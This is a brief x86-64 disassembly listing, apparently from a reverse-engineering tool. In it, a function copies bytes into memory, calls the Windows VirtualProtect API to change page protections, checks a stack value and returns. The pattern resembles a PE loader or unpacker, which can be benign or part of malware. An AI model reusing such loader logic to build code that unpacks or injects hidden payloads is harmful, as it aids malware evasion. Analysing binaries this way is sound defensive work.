mov r9, qword [rsp + 0x28]
lea rax, [r12 + rsi]
add rsi, rbp
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r14 + 0xc]
mov edx, dword [r14 + 8]
mov r8d, dword [rsp + 0x34]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000305d
mov rdi, qword [0x1400058f0]
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
je 0x1400030d1
call fcn.140002510
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret